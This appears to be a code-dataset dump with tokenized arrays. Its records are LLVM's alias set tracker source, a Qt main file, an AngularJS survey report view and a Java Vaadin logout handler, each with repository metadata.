"llvm/Support/AtomicOrdering.h" #include "llvm/Support/Casting.h" #include "llvm/Support/CommandLine.h" #include "llvm/Support/Compiler.h" #include "llvm/Support/Debug.h" #include "llvm/Support/ErrorHandling.h" #include "llvm/Support/raw_ostream.h" #include <cassert> #include <cstdint> #include <vector> using namespace llvm; static cl::opt<unsigned> SaturationThreshold("alias-set-saturation-threshold", cl::Hidden, cl::init(250), cl::desc("The maximum number of pointers may-alias " "sets may contain before degradation")); /// mergeSetIn - Merge the specified alias set into this alias set. /// void AliasSet::mergeSetIn(AliasSet &AS, AliasSetTracker &AST) { assert(!AS.Forward && "Alias set is already forwarding!"); assert(!Forward && "This set is a forwarding set!!"); bool WasMustAlias = (Alias == SetMustAlias); // Update the alias and access types of this set... Access |= AS.Access; Alias |= AS.Alias; if (Alias == SetMustAlias) { // Check that these two merged sets really are must aliases. Since both // used to be must-alias sets, we can just check any pointer from each set // for aliasing. AliasAnalysis &AA = AST.getAliasAnalysis(); PointerRec *L = getSomePointer(); PointerRec *R = AS.getSomePointer(); // If the pointers are not a must-alias pair, this set becomes a may alias. if (AA.alias(MemoryLocation(L->getValue(), L->getSize(), L->getAAInfo()), MemoryLocation(R->getValue(), R->getSize(), R->getAAInfo())) != MustAlias) Alias = SetMayAlias; } if (Alias == SetMayAlias) { if (WasMustAlias) AST.TotalMayAliasSetSize += size(); if (AS.Alias == SetMustAlias) AST.TotalMayAliasSetSize += AS.size(); } bool ASHadUnknownInsts = !AS.UnknownInsts.empty(); if (UnknownInsts.empty()) { // Merge call sites... if (ASHadUnknownInsts) { std::swap(UnknownInsts, AS.UnknownInsts); addRef(); } } else if (ASHadUnknownInsts) { UnknownInsts.insert(UnknownInsts.end(), AS.UnknownInsts.begin(), AS.UnknownInsts.end()); AS.UnknownInsts.clear(); } AS.Forward = this; // Forward across AS now... addRef(); // AS is now pointing to us... // Merge the list of constituent pointers... if (AS.PtrList) { SetSize += AS.size(); AS.SetSize = 0; *PtrListEnd = AS.PtrList; AS.PtrList->setPrevInList(PtrListEnd); PtrListEnd = AS.PtrListEnd; AS.PtrList = nullptr; AS.PtrListEnd = &AS.PtrList; assert(*AS.PtrListEnd == nullptr && "End of list is not null?"); } if (ASHadUnknownInsts) AS.dropRef(AST); } void AliasSetTracker::removeAliasSet(AliasSet *AS) { if (AliasSet *Fwd = AS->Forward) { Fwd->dropRef(*this); AS->Forward = nullptr; } else // Update TotalMayAliasSetSize only if not forwarding. if (AS->Alias == AliasSet::SetMayAlias) TotalMayAliasSetSize -= AS->size(); AliasSets.erase(AS); // If we've removed the saturated alias set, set saturated marker back to // nullptr and ensure this tracker is empty. if (AS == AliasAnyAS) { AliasAnyAS = nullptr; assert(AliasSets.empty() && "Tracker not empty"); } } void AliasSet::removeFromTracker(AliasSetTracker &AST) { assert(RefCount == 0 && "Cannot remove non-dead alias set from tracker!"); AST.removeAliasSet(this); } void AliasSet::addPointer(AliasSetTracker &AST, PointerRec &Entry, LocationSize Size, const AAMDNodes &AAInfo, bool KnownMustAlias, bool SkipSizeUpdate) { assert(!Entry.hasAliasSet() && "Entry already in set!"); // Check to see if we have to downgrade to _may_ alias. if (isMustAlias()) if (PointerRec *P = getSomePointer()) { if (!KnownMustAlias) { AliasAnalysis &AA = AST.getAliasAnalysis(); AliasResult Result = AA.alias( MemoryLocation(P->getValue(), P->getSize(), P->getAAInfo()), MemoryLocation(Entry.getValue(), Size, AAInfo)); if (Result != MustAlias) { Alias = SetMayAlias; AST.TotalMayAliasSetSize += size(); } assert(Result != NoAlias && "Cannot be part of must set!"); } else if (!SkipSizeUpdate) P->updateSizeAndAAInfo(Size, AAInfo); } Entry.setAliasSet(this); Entry.updateSizeAndAAInfo(Size, AAInfo); // Add it to the end of the list... ++SetSize; assert(*PtrListEnd == nullptr && "End of list is not null?"); *PtrListEnd = &Entry; PtrListEnd = Entry.setPrevInList(PtrListEnd); assert(*PtrListEnd == nullptr && "End of list is not null?"); // Entry points to alias set. addRef(); if (Alias == SetMayAlias) AST.TotalMayAliasSetSize++; } void AliasSet::addUnknownInst(Instruction *I, AliasAnalysis &AA) { if (UnknownInsts.empty()) addRef(); UnknownInsts.emplace_back(I); // Guards are marked as modifying memory for control flow modelling purposes, // but don't actually modify any specific memory location. using namespace PatternMatch; bool MayWriteMemory = I->mayWriteToMemory() && !isGuard(I) && !(I->use_empty() && match(I, m_Intrinsic<Intrinsic::invariant_start>())); if (!MayWriteMemory) { Alias = SetMayAlias; Access |= RefAccess; return; } // FIXME: This should use mod/ref information to make this not suck so bad Alias = SetMayAlias; Access = ModRefAccess; } /// aliasesPointer - If the specified pointer "may" (or must) alias one of the /// members in the set return the appropriate AliasResult. Otherwise return /// NoAlias. /// AliasResult AliasSet::aliasesPointer(const Value *Ptr, LocationSize Size, const AAMDNodes &AAInfo, AliasAnalysis &AA) const { if (AliasAny) return MayAlias; if (Alias == SetMustAlias) { assert(UnknownInsts.empty() && "Illegal must alias set!"); // If this is a set of MustAliases, only check to see if the pointer aliases // SOME value in the set. PointerRec *SomePtr = getSomePointer(); assert(SomePtr && "Empty must-alias set??"); return AA.alias(MemoryLocation(SomePtr->getValue(), SomePtr->getSize(), SomePtr->getAAInfo()), MemoryLocation(Ptr, Size, AAInfo)); } // If this is a may-alias set, we have to check all of the pointers in the set // to be sure it doesn't alias the set... for (iterator I = begin(), E = end(); I != E; ++I) if (AliasResult AR = AA.alias( MemoryLocation(Ptr, Size, AAInfo), MemoryLocation(I.getPointer(), I.getSize(), I.getAAInfo()))) return AR; // Check the unknown instructions... if (!UnknownInsts.empty()) { for (unsigned i = 0, e = UnknownInsts.size(); i != e; ++i) if (auto *Inst = getUnknownInst(i)) if (isModOrRefSet( AA.getModRefInfo(Inst, MemoryLocation(Ptr, Size, AAInfo)))) return MayAlias; } return NoAlias; } bool AliasSet::aliasesUnknownInst(const Instruction *Inst, AliasAnalysis &AA) const { if (AliasAny) return true; assert(Inst->mayReadOrWriteMemory() && "Instruction must either read or write memory."); for (unsigned i = 0, e = UnknownInsts.size(); i != e; ++i) { if (auto *UnknownInst = getUnknownInst(i)) { const auto *C1 = dyn_cast<CallBase>(UnknownInst); const auto *C2 = dyn_cast<CallBase>(Inst); if (!C1 || !C2 || isModOrRefSet(AA.getModRefInfo(C1, C2)) || isModOrRefSet(AA.getModRefInfo(C2, C1))) return true; } } for (iterator I = begin(), E = end(); I != E; ++I) if (isModOrRefSet(AA.getModRefInfo( Inst, MemoryLocation(I.getPointer(), I.getSize(), I.getAAInfo())))) return true; return false; } Instruction* AliasSet::getUniqueInstruction() { if (AliasAny) // May have collapses alias set return nullptr; if (begin() != end()) { if (!UnknownInsts.empty()) // Another instruction found return nullptr; if (std::next(begin()) != end()) // Another instruction found return nullptr; Value *Addr = begin()->getValue(); assert(!Addr->user_empty() && "where's the instruction which added this pointer?"); if (std::next(Addr->user_begin()) != Addr->user_end()) // Another instruction found -- this is really restrictive // TODO: generalize! return nullptr; return cast<Instruction>(*(Addr->user_begin())); } if (1 != UnknownInsts.size()) return nullptr; return cast<Instruction>(UnknownInsts[0]); } void AliasSetTracker::clear() { // Delete all the PointerRec entries. for (PointerMapType::iterator I = PointerMap.begin(), E = PointerMap.end(); I != E; ++I) I->second->eraseFromList(); PointerMap.clear(); // The alias sets should all be clear now. AliasSets.clear(); } /// mergeAliasSetsForPointer - Given a pointer, merge all alias sets that may /// alias the pointer. Return the unified set, or nullptr if no set that aliases /// the pointer was found. MustAliasAll is updated to true/false if the pointer /// is found to MustAlias all the sets it merged. AliasSet *AliasSetTracker::mergeAliasSetsForPointer(const Value *Ptr, LocationSize Size, const AAMDNodes &AAInfo, bool &MustAliasAll) { AliasSet *FoundSet = nullptr; AliasResult AllAR = MustAlias; for (iterator I = begin(), E = end(); I != E;) { iterator Cur = I++; if (Cur->Forward) continue; AliasResult AR = Cur->aliasesPointer(Ptr, Size, AAInfo, AA); if (AR == NoAlias) continue; AllAR = AliasResult(AllAR & AR); // Possible downgrade to May/Partial, even No if (!FoundSet) { // If this is the first alias set ptr can go into, remember it. FoundSet = &*Cur; } else { // Otherwise, we must merge the sets. FoundSet->mergeSetIn(*Cur, *this); } } MustAliasAll = (AllAR == MustAlias); return FoundSet; } AliasSet *AliasSetTracker::findAliasSetForUnknownInst(Instruction *Inst) { AliasSet *FoundSet = nullptr; for (iterator I = begin(), E = end(); I != E;) { iterator Cur = I++; if (Cur->Forward || !Cur->aliasesUnknownInst(Inst, AA)) continue; if (!FoundSet) { // If this is the first alias set ptr can go into, remember it. FoundSet = &*Cur; } else { // Otherwise, we must merge the sets. FoundSet->mergeSetIn(*Cur, *this); } } return FoundSet; } AliasSet &AliasSetTracker::getAliasSetFor(const MemoryLocation &MemLoc) { Value * const Pointer = const_cast<Value*>(MemLoc.Ptr); const LocationSize Size = MemLoc.Size; const AAMDNodes &AAInfo = MemLoc.AATags; AliasSet::PointerRec &Entry = getEntryFor(Pointer); if (AliasAnyAS) { // At this point, the AST is saturated, so we only have one active alias // set. That means we already know which alias set we want to return, and // just need to add the pointer to that set to keep the data structure // consistent. // This, of course, means that we will never need a merge here. if (Entry.hasAliasSet()) { Entry.updateSizeAndAAInfo(Size, AAInfo); assert(Entry.getAliasSet(*this) == AliasAnyAS && "Entry in saturated AST must belong to only alias set"); } else { AliasAnyAS->addPointer(*this, Entry, Size, AAInfo); } return *AliasAnyAS; } bool MustAliasAll = false; // Check to see if the pointer is already known. if (Entry.hasAliasSet()) { // If the size changed, we may need to merge several alias sets. // Note that we can *not* return the result of mergeAliasSetsForPointer // due to a quirk of alias analysis behavior. Since alias(undef, undef) // is NoAlias, mergeAliasSetsForPointer(undef, ...) will not find the // the right set for undef, even if it exists. if (Entry.updateSizeAndAAInfo(Size, AAInfo)) mergeAliasSetsForPointer(Pointer, Size, AAInfo, MustAliasAll); // Return the set! return *Entry.getAliasSet(*this)->getForwardedTarget(*this); } if (AliasSet *AS = mergeAliasSetsForPointer(Pointer, Size, AAInfo, MustAliasAll)) { // Add it to the alias set it aliases. AS->addPointer(*this, Entry, Size, AAInfo, MustAliasAll); return *AS; } // Otherwise create a new alias set to hold the loaded pointer. AliasSets.push_back(new AliasSet()); AliasSets.back().addPointer(*this, Entry, Size, AAInfo, true); return AliasSets.back(); } void AliasSetTracker::add(Value *Ptr, LocationSize Size, const AAMDNodes &AAInfo) { addPointer(MemoryLocation(Ptr, Size, AAInfo), AliasSet::NoAccess); } void AliasSetTracker::add(LoadInst *LI) { if (isStrongerThanMonotonic(LI->getOrdering())) return addUnknown(LI); addPointer(MemoryLocation::get(LI), AliasSet::RefAccess); } void AliasSetTracker::add(StoreInst *SI) { if (isStrongerThanMonotonic(SI->getOrdering())) return addUnknown(SI); addPointer(MemoryLocation::get(SI), AliasSet::ModAccess); } void AliasSetTracker::add(VAArgInst *VAAI) { addPointer(MemoryLocation::get(VAAI), AliasSet::ModRefAccess); } void AliasSetTracker::add(AnyMemSetInst *MSI) { addPointer(MemoryLocation::getForDest(MSI), AliasSet::ModAccess); } void AliasSetTracker::add(AnyMemTransferInst *MTI) { addPointer(MemoryLocation::getForDest(MTI), AliasSet::ModAccess); addPointer(MemoryLocation::getForSource(MTI), AliasSet::RefAccess); } void AliasSetTracker::addUnknown(Instruction *Inst) { if (isa<DbgInfoIntrinsic>(Inst)) return; // Ignore DbgInfo Intrinsics. if (auto *II = dyn_cast<IntrinsicInst>(Inst)) { // These intrinsics will show up as affecting memory, but they are just // markers. switch (II->getIntrinsicID()) { default: break; // FIXME: Add lifetime/invariant intrinsics (See: PR30807). case Intrinsic::assume: case Intrinsic::sideeffect: return; } } if (!Inst->mayReadOrWriteMemory()) return; // doesn't alias anything if (AliasSet *AS = findAliasSetForUnknownInst(Inst)) { AS->addUnknownInst(Inst, AA); return; } AliasSets.push_back(new AliasSet()); AliasSets.back().addUnknownInst(Inst, AA); } void AliasSetTracker::add(Instruction *I) { // Dispatch to one of the other add methods. if (LoadInst *LI = dyn_cast<LoadInst>(I)) return add(LI); if (StoreInst *SI = dyn_cast<StoreInst>(I)) return add(SI); if (VAArgInst *VAAI = dyn_cast<VAArgInst>(I)) return add(VAAI); if (AnyMemSetInst *MSI = dyn_cast<AnyMemSetInst>(I)) return add(MSI); if (AnyMemTransferInst *MTI = dyn_cast<AnyMemTransferInst>(I)) return add(MTI); // Handle all calls with known mod/ref sets genericall if (auto *Call = dyn_cast<CallBase>(I)) if (Call->onlyAccessesArgMemory()) { auto getAccessFromModRef = [](ModRefInfo MRI) { if (isRefSet(MRI) && isModSet(MRI)) return AliasSet::ModRefAccess; else if (isModSet(MRI)) return AliasSet::ModAccess; else if (isRefSet(MRI)) return AliasSet::RefAccess; else return AliasSet::NoAccess; }; ModRefInfo CallMask = createModRefInfo(AA.getModRefBehavior(Call)); // Some intrinsics are marked as modifying memory for control flow // modelling purposes, but don't actually modify any specific memory // location. using namespace PatternMatch; if (Call->use_empty() && match(Call, m_Intrinsic<Intrinsic::invariant_start>())) CallMask = clearMod(CallMask); for (auto IdxArgPair : enumerate(Call->args())) { int ArgIdx = IdxArgPair.index(); const Value *Arg = IdxArgPair.value(); if (!Arg->getType()->isPointerTy()) continue; MemoryLocation ArgLoc = MemoryLocation::getForArgument(Call, ArgIdx, nullptr); ModRefInfo ArgMask = AA.getArgModRefInfo(Call, ArgIdx); ArgMask = intersectModRef(CallMask, ArgMask); if (!isNoModRef(ArgMask)) addPointer(ArgLoc, getAccessFromModRef(ArgMask)); } return; } return addUnknown(I); } void AliasSetTracker::add(BasicBlock &BB) { for (auto &I : BB) add(&I); } void AliasSetTracker::add(const AliasSetTracker &AST) { assert(&AA == &AST.AA && "Merging AliasSetTracker objects with different Alias Analyses!"); // Loop over all of the alias sets in AST, adding the pointers contained // therein into the current alias sets. This can cause alias sets to be // merged together in the current AST. for (const AliasSet &AS : AST) { if (AS.Forward) continue; // Ignore forwarding alias sets // If there are any call sites in the alias set, add them to this AST. for (unsigned i = 0, e = AS.UnknownInsts.size(); i != e; ++i) if (auto *Inst = AS.getUnknownInst(i)) add(Inst); // Loop over all of the pointers in this alias set. for (AliasSet::iterator ASI = AS.begin(), E = AS.end(); ASI != E; ++ASI) addPointer( MemoryLocation(ASI.getPointer(), ASI.getSize(), ASI.getAAInfo()), (AliasSet::AccessLattice)AS.Access); } } void AliasSetTracker::addAllInstructionsInLoopUsingMSSA() { assert(MSSA && L && "MSSA and L must be available"); for (const BasicBlock *BB : L->blocks()) if (auto *Accesses = MSSA->getBlockAccesses(BB)) for (auto &Access : *Accesses) if (auto *MUD = dyn_cast<MemoryUseOrDef>(&Access)) add(MUD->getMemoryInst()); } // deleteValue method - This method is used to remove a pointer value from the // AliasSetTracker entirely. It should be used when an instruction is deleted // from the program to update the AST. If you don't use this, you would have // dangling pointers to deleted instructions. // void AliasSetTracker::deleteValue(Value *PtrVal) { // First, look up the PointerRec for this pointer. PointerMapType::iterator I = PointerMap.find_as(PtrVal); if (I == PointerMap.end()) return; // Noop // If we found one, remove the pointer from the alias set it is in. AliasSet::PointerRec *PtrValEnt = I->second; AliasSet *AS = PtrValEnt->getAliasSet(*this); // Unlink and delete from the list of values. PtrValEnt->eraseFromList(); if (AS->Alias == AliasSet::SetMayAlias) { AS->SetSize--; TotalMayAliasSetSize--; } // Stop using the alias set. AS->dropRef(*this); PointerMap.erase(I); } // copyValue - This method should be used whenever a preexisting value in the // program is copied or cloned, introducing a new value. Note that it is ok for // clients that use this method to introduce the same value multiple times: if // the tracker already knows about a value, it will ignore the request. // void AliasSetTracker::copyValue(Value *From, Value *To) { // First, look up the PointerRec for this pointer. PointerMapType::iterator I = PointerMap.find_as(From); if (I == PointerMap.end()) return; // Noop assert(I->second->hasAliasSet() && "Dead entry?"); AliasSet::PointerRec &Entry = getEntryFor(To); if (Entry.hasAliasSet()) return; // Already in the tracker! // getEntryFor above may invalidate iterator \c I, so reinitialize it. I = PointerMap.find_as(From); // Add it to the alias set it aliases... AliasSet *AS = I->second->getAliasSet(*this); AS->addPointer(*this, Entry, I->second->getSize(), I->second->getAAInfo(), true, true); } AliasSet &AliasSetTracker::mergeAllAliasSets() { assert(!AliasAnyAS && (TotalMayAliasSetSize > SaturationThreshold) && "Full merge should happen once, when the saturation threshold is " "reached"); // Collect all alias sets, so that we can drop references with impunity // without worrying about iterator invalidation. std::vector<AliasSet *> ASVector; ASVector.reserve(SaturationThreshold); for (iterator I = begin(), E = end(); I != E; I++) ASVector.push_back(&*I); // Copy all instructions and pointers into a new set, and forward all other // sets to it. AliasSets.push_back(new AliasSet()); AliasAnyAS = &AliasSets.back(); AliasAnyAS->Alias = AliasSet::SetMayAlias; AliasAnyAS->Access = AliasSet::ModRefAccess; AliasAnyAS->AliasAny = true; for (auto Cur : ASVector) { // If Cur was already forwarding, just forward to the new AS instead. AliasSet *FwdTo = Cur->Forward; if (FwdTo) { Cur->Forward = AliasAnyAS; AliasAnyAS->addRef(); FwdTo->dropRef(*this); continue; } // Otherwise, perform the actual merge. AliasAnyAS->mergeSetIn(*Cur, *this); } return *AliasAnyAS; } AliasSet &AliasSetTracker::addPointer(MemoryLocation Loc, AliasSet::AccessLattice E) { AliasSet &AS = getAliasSetFor(Loc); AS.Access |= E; if (!AliasAnyAS && (TotalMayAliasSetSize > SaturationThreshold)) { // The AST is now saturated. From here on, we conservatively consider all // pointers to alias each-other. return mergeAllAliasSets(); } return AS; } //===----------------------------------------------------------------------===// // AliasSet/AliasSetTracker Printing Support //===----------------------------------------------------------------------===// void AliasSet::print(raw_ostream &OS) const { OS << " AliasSet[" << (const void*)this << ", " << RefCount << "] "; OS << (Alias == SetMustAlias ? "must" : "may") << " alias, "; switch (Access) { case NoAccess: OS << "No access "; break; case RefAccess: OS << "Ref "; break; case ModAccess: OS << "Mod "; break; case ModRefAccess: OS << "Mod/Ref "; break; default: llvm_unreachable("Bad value for Access!"); } if (Forward) OS << " forwarding to " << (void*)Forward; if (!empty()) { OS << "Pointers: "; for (iterator I = begin(), E = end(); I != E; ++I) { if (I != begin()) OS << ", "; I.getPointer()->printAsOperand(OS << "("); if (I.getSize() == LocationSize::unknown()) OS << ", unknown)"; else OS << ", " << I.getSize() << ")"; } } if (!UnknownInsts.empty()) { OS << "\n " << UnknownInsts.size() << " Unknown instructions: "; for (unsigned i = 0, e = UnknownInsts.size(); i != e; ++i) { if (i) OS << ", "; if (auto *I = getUnknownInst(i)) { if (I->hasName()) I->printAsOperand(OS); else I->print(OS); } } } OS << "\n"; } void AliasSetTracker::print(raw_ostream &OS) const { OS << "Alias Set Tracker: " << AliasSets.size(); if (AliasAnyAS) OS << " (Saturated)"; OS << " alias sets for " << PointerMap.size() << " pointer values.\n"; for (const AliasSet &AS : *this) AS.print(OS); OS << "\n"; } #if !defined(NDEBUG) || defined(LLVM_ENABLE_DUMP) LLVM_DUMP_METHOD void AliasSet::dump() const { print(dbgs()); } LLVM_DUMP_METHOD void AliasSetTracker::dump() const { print(dbgs()); } #endif //===----------------------------------------------------------------------===// // ASTCallbackVH Class Implementation //===----------------------------------------------------------------------===// void AliasSetTracker::ASTCallbackVH::deleted() { assert(AST && "ASTCallbackVH called with a null AliasSetTracker!"); AST->deleteValue(getValPtr()); // this now dangles! } void AliasSetTracker::ASTCallbackVH::allUsesReplacedWith(Value *V) { AST->copyValue(getValPtr(), V); } AliasSetTracker::ASTCallbackVH::ASTCallbackVH(Value *V, AliasSetTracker *ast) : CallbackVH(V), AST(ast) {} AliasSetTracker::ASTCallbackVH & AliasSetTracker::ASTCallbackVH::operator=(Value *V) { return *this = ASTCallbackVH(V, AST); } //===----------------------------------------------------------------------===// // AliasSetPrinter Pass //===----------------------------------------------------------------------===// namespace { class AliasSetPrinter : public FunctionPass { AliasSetTracker *Tracker; public: static char ID; // Pass identification, replacement for typeid AliasSetPrinter() : FunctionPass(ID) { initializeAliasSetPrinterPass(*PassRegistry::getPassRegistry()); } void getAnalysisUsage(AnalysisUsage &AU) const override { AU.setPreservesAll(); AU.addRequired<AAResultsWrapperPass>(); } bool runOnFunction(Function &F) override { auto &AAWP = getAnalysis<AAResultsWrapperPass>(); Tracker = new AliasSetTracker(AAWP.getAAResults()); errs() << "Alias sets for function '" << F.getName() << "':\n"; for (inst_iterator I = inst_begin(F), E = inst_end(F); I != E; ++I) Tracker->add(&*I); Tracker->print(errs()); delete Tracker; return false; } }; } // end anonymous namespace char AliasSetPrinter::ID = 0; INITIALIZE_PASS_BEGIN(AliasSetPrinter, "print-alias-sets", "Alias Set Printer", false, true) INITIALIZE_PASS_DEPENDENCY(AAResultsWrapperPass) INITIALIZE_PASS_END(AliasSetPrinter, "print-alias-sets", "Alias Set Printer", false, true)
endlessm/chromium-browser
third_party/llvm/llvm/lib/Analysis/AliasSetTracker.cpp
C++
bsd-3-clause
26,484
[ 30522, 1013, 1013, 1027, 1027, 1027, 1011, 14593, 21678, 22648, 5484, 1012, 18133, 2361, 1011, 14593, 4520, 27080, 7375, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1027, 1027, 1027, 1013, 1013, 1013, 1013,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
#include "server.h" #include <QApplication> int main(int argc, char *argv[]) { QApplication a(argc, argv); Server w; w.show(); return a.exec(); }
Sergey-Pravdyukov/Homeworks
term2/hw8/1/server/main.cpp
C++
mit
164
[ 30522, 1001, 2421, 1000, 8241, 1012, 1044, 1000, 1001, 2421, 1026, 1053, 29098, 19341, 3508, 1028, 20014, 2364, 1006, 20014, 12098, 18195, 1010, 25869, 1008, 12098, 2290, 2615, 1031, 1033, 1007, 1063, 1053, 29098, 19341, 3508, 1037, 1006, 1...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
<div class="container"> <div ng-include="viewPath + 'views/sideNav.html'"></div> <div class="col-md-10"> <div class="col-md-10"> <h2> {{ subtitle }} <small class="print-show">{{ filter.startDate|validDate: 'dd-MM-yyyy' }} to {{ filter.endDate|validDate: 'dd-MM-yyyy' }}</small> </h2> </div> <div class="print-hide col-md-2"> <button print-button></button> </div> </div> <div id="filter_row" class="col-md-10 print-hide"> <div id="responses_found" class="center-text col-md-2"> <h2>{{meta.total_count}}</h2> <P>RESPONSES FOUND</P> </div> <div class="col-md-4 col-md-offset-4"> <div class="form-control date-range-picker" date-range-picker min="filter.min" max="filter.max" start="filter.startDate" end="filter.endDate"></div> </div> <div id="market_status_filters" class="col-md-2"> <select class="form-control" ng-model="market" ng-options="m for m in markets"> <option value="">All Markets</option> </select> <select class="form-control" ng-model="status_single" ng-options="i[0] as i[1] for i in statuses"> <option value="">All Statuses</option> </select> </div> </div> <div class="col-md-2"></div> <div class="col-md-10"> <p ng-show="message">{{message}}</p> <div> <div class="btn-group print-hide"> <button ng-class="{'active': surveyorTimeFilter == 'hour'}" type="button" class="btn btn-default" ng-click="surveyorTimeFilter='hour'">Hourly</button> <button ng-class="{'active': surveyorTimeFilter == 'day'}" type="button" class="btn btn-default" ng-click="surveyorTimeFilter='day'">Day</button> <button ng-class="{'active': surveyorTimeFilter == 'week'}" type="button" class="btn btn-default" ng-click="surveyorTimeFilter='week'">Week</button> <button ng-class="{'active': surveyorTimeFilter == 'month'}" type="button" class="btn btn-default" ng-click="surveyorTimeFilter='month'">Month</button> </div> <i ng-show="respondentsLoading" class="icon-spinner icon-spin"></i> </div> </div> <div class="col-md-2"></div> <div class="col-md-10"> <div ng-repeat="chart in charts" class="dash-chart"> <h2>{{ chart.title }}</h2> <div class="error">{{ chart.message }}</div> <div ng-switch on="chart.type"> <div ng-switch-when="bar-chart" bar-chart chart="chart"></div> <div ng-switch-when="stacked-column" stacked-column chart="chart"></div> <div ng-switch-when="time-series" time-series chart="chart"></div> <div ng-switch-default bar-chart chart="chart"></div> </div> </div> <div ng-repeat="(chart_key,chart_val) in sectioned_charts" class="dash-chart"> <div ng-repeat="chart in chart_val" class="dash-chart"> <div ng-switch on="chart.type"> <h2>{{ chart.title }}</h2> <div ng-switch-when="bar-chart" bar-chart chart="chart"></div> <div ng-switch-when="stacked-column" stacked-column chart="chart"></div> <div ng-switch-when="time-series" time-series chart="chart"></div> <div ng-switch-default bar-chart chart="chart"></div> </div> </div> </div> </div>
point97/hapifis
server/static/survey/views/Reports.html
HTML
gpl-3.0
3,816
[ 30522, 1026, 4487, 2615, 2465, 1027, 1000, 11661, 1000, 1028, 1026, 4487, 2615, 12835, 1011, 2421, 1027, 1000, 3193, 15069, 1009, 1005, 5328, 1013, 2217, 2532, 2615, 1012, 16129, 1005, 1000, 1028, 1026, 1013, 4487, 2615, 1028, 1026, 4487, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
/* * The MIT License * * Copyright 2015 Ryan Gilera. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.github.daytron.twaattin.presenter; import com.github.daytron.twaattin.ui.LoginScreen; import com.vaadin.server.Page; import com.vaadin.server.VaadinSession; import com.vaadin.shared.Position; import com.vaadin.ui.Button; import com.vaadin.ui.Notification; import com.vaadin.ui.UI; import java.security.Principal; /** * * @author Ryan Gilera */ public class LogoutBehaviour implements Button.ClickListener { private final static long serialVersionUID = 1L; @Override public void buttonClick(Button.ClickEvent event) { VaadinSession.getCurrent().setAttribute(Principal.class, null); UI.getCurrent().setContent(new LoginScreen()); Notification logoutNotification = new Notification( "You've been logout", Notification.Type.TRAY_NOTIFICATION); logoutNotification.setPosition(Position.TOP_CENTER); logoutNotification.show(Page.getCurrent()); } }
Daytron/Twaattin
src/main/java/com/github/daytron/twaattin/presenter/LogoutBehaviour.java
Java
mit
2,099
[ 30522, 1013, 1008, 1008, 30524, 6764, 1006, 1996, 1000, 4007, 1000, 1007, 1010, 2000, 3066, 1008, 1999, 1996, 4007, 2302, 16840, 1010, 2164, 2302, 22718, 1996, 2916, 1008, 2000, 2224, 1010, 6100, 1010, 19933, 1010, 13590, 1010, 10172, 1010,...
